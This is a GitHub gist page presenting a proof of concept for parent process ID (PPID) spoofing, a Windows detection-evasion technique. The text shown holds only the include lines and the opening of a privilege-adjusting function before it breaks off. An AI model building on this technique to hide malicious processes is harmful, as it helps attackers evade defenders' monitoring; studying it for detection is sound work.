Skip to content

Instantly share code, notes, and snippets.

@mrri2007
mrri2007 / adopter.cpp
Created October 18, 2025 06:46 — forked from reb311ion/adopter.cpp
PoC for parent process ID spoofing (PPID).
#include <tchar.h>
#include <windows.h>
#include <iostream>
#include <string>
BOOL AdjustCurrentProcessToken(void)
{
HANDLE hToken;
TOKEN_PRIVILEGES sTP;